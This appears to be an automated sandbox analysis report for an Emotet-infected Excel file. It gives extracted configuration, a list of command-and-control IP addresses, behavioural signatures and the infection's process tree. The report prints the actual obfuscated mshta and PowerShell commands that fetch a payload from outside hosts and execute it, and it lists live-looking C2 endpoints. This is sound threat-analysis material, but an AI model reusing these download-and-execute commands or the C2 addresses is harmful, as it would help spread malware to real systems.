Analysis
- max time kernel
118s - max time network
129s - platform
windows10-2004_x64 - resource
win10v2004-en-20220112 - submitted
18/01/2022, 12:28
General
- Target 9c1610254fa85467bb789843034ef6d6.xls
- Size 128KB
- Sample220118-pncd5abcbq
- SHA256 1779463f218d2d34d1f5c91c10f22ad041cdb7d11213e32e99dcbfb02b72ee02
Malware Config
Extracted
-
hta
-
hta.dropper
http://0xb907d607/cc.html
Extracted
-
ps1
-
ps1.dropper
http://185.7.214.7/PP91.PNG
Extracted
-
emotet
-
Epoch4
-
131.100.24.231:80
-
209.59.138.75:7080
-
103.8.26.103:8080
-
51.38.71.0:443
-
212.237.17.99:8080
-
79.172.212.216:8080
-
207.38.84.195:8080
-
104.168.155.129:8080
-
178.79.147.66:8080
-
46.55.222.11:443
-
103.8.26.102:8080
-
192.254.71.210:443
-
45.176.232.124:443
-
203.114.109.124:443
-
51.68.175.8:8080
-
58.227.42.236:80
-
45.142.114.231:8080
-
217.182.143.207:443
-
178.63.25.185:443
-
45.118.115.99:8080
Signatures
- Emotet
Emotet is a trojan that is primarily spread through spam emails.
- Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
- Suspicious use of NtCreateProcessExOtherParentProcess 1 IoCs
- suricata: ET MALWARE W32/Emotet CnC Beacon 3
suricata: ET MALWARE W32/Emotet CnC Beacon 3
- Blocklisted process makes network request 5 IoCs
- Downloads MZ/PE file
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Loads dropped DLL 4 IoCs
- Drops file in System32 directory 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
- Program crash 1 IoCs
- Checks processor information in registry 2 TTPs 6 IoCs
Processor information is often read in order to detect sandboxing environments.
- Enumerates system info in registry 2 TTPs 5 IoCs
- Suspicious behavior: AddClipboardFormatListener 1 IoCs
- Suspicious behavior: EnumeratesProcesses 6 IoCs
- Suspicious use of AdjustPrivilegeToken 1 IoCs
- Suspicious use of SetWindowsHookEx 14 IoCs
- Suspicious use of WriteProcessMemory 22 IoCs
Processes
-
C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\9c1610254fa85467bb789843034ef6d6.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
-
C:\Windows\SYSTEM32\cmd.execmd /c m^sh^t^a h^tt^p^:/^/0xb907d607/c^c.h^tm^l2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\mshta.exemshta http://0xb907d607/cc.html3⤵
- Blocklisted process makes network request
- Checks computer location settings
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noexit $c1='({GOOGLE}{GOOGLE}Ne{GOOGLE}{GOOGLE}w{GOOGLE}-Obj{GOOGLE}ec{GOOGLE}{GOOGLE}t N{GOOGLE}{GOOGLE}et{GOOGLE}.W{GOOGLE}{GOOGLE}e'.replace('{GOOGLE}', ''); $c4='bC{GOOGLE}li{GOOGLE}{GOOGLE}en{GOOGLE}{GOOGLE}t).D{GOOGLE}{GOOGLE}ow{GOOGLE}{GOOGLE}nl{GOOGLE}{GOOGLE}{GOOGLE}o'.replace('{GOOGLE}', ''); $c3='ad{GOOGLE}{GOOGLE}St{GOOGLE}rin{GOOGLE}{GOOGLE}g{GOOGLE}(''ht{GOOGLE}tp{GOOGLE}://185.7.214.7/PP91.PNG'')'.replace('{GOOGLE}', '');$JI=($c1,$c4,$c3 -Join '');I`E`X $JI|I`E`X4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exe"C:\Windows\system32\cmd.exe" /c C:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString5⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWow64\rundll32.exeC:\Windows\SysWow64\rundll32.exe C:\Users\Public\Documents\ssd.dll,AnyString6⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Users\Public\Documents\ssd.dll",DllRegisterServer7⤵
- Loads dropped DLL
- Drops file in System32 directory
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\SysWOW64\Jhgkmgrld\mdeblrlrdvtaprg.bwo",pjmsJzb8⤵
- Loads dropped DLL
- Suspicious use of WriteProcessMemory
-
C:\Windows\SysWOW64\rundll32.exeC:\Windows\SysWOW64\rundll32.exe "C:\Windows\System32\Jhgkmgrld\mdeblrlrdvtaprg.bwo",DllRegisterServer9⤵
- Blocklisted process makes network request
- Loads dropped DLL
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -u -p 2476 -s 17284⤵
- Program crash
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
-
-
-
-
C:\Windows\system32\WerFault.exeC:\Windows\system32\WerFault.exe -pss -s 356 -p 2476 -ip 24761⤵
- Suspicious use of NtCreateProcessExOtherParentProcess
- Suspicious use of WriteProcessMemory
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
Loading Replay Monitor...
Downloads
memory/620-648-0x00000000050D0000-0x00000000050F6000-memory.dmp
memory/620-644-0x0000000004E50000-0x0000000004E76000-memory.dmp
memory/620-642-0x0000000004DF0000-0x0000000004E16000-memory.dmp
memory/620-638-0x00000000049F0000-0x0000000004A16000-memory.dmp
memory/1372-654-0x0000000004EF0000-0x0000000004F16000-memory.dmp
memory/1372-652-0x00000000049B0000-0x00000000049D6000-memory.dmp
memory/1372-666-0x0000000005630000-0x0000000005656000-memory.dmp
memory/1372-664-0x0000000005550000-0x0000000005576000-memory.dmp
memory/1372-662-0x0000000005420000-0x0000000005446000-memory.dmp
memory/1372-660-0x0000000005320000-0x0000000005346000-memory.dmp
memory/1372-658-0x0000000005240000-0x0000000005266000-memory.dmp
memory/3716-222-0x00000192B5260000-0x00000192B52A4000-memory.dmp
memory/3716-193-0x00000192B4D03000-0x00000192B4D05000-memory.dmp
memory/3716-191-0x00000192B4D00000-0x00000192B4D02000-memory.dmp
memory/3716-168-0x000001929CA80000-0x000001929CAA2000-memory.dmp
memory/3716-635-0x00000192B5330000-0x00000192B53A6000-memory.dmp
memory/3716-196-0x00000192B4D06000-0x00000192B4D08000-memory.dmp
memory/3856-138-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp
memory/3856-131-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-130-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-132-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-133-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-134-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-137-0x00007FFB374C0000-0x00007FFB374D0000-memory.dmp
memory/3856-688-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-689-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-690-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/3856-691-0x00007FFB39C70000-0x00007FFB39C80000-memory.dmp
memory/4040-647-0x0000000002A50000-0x0000000002A76000-memory.dmp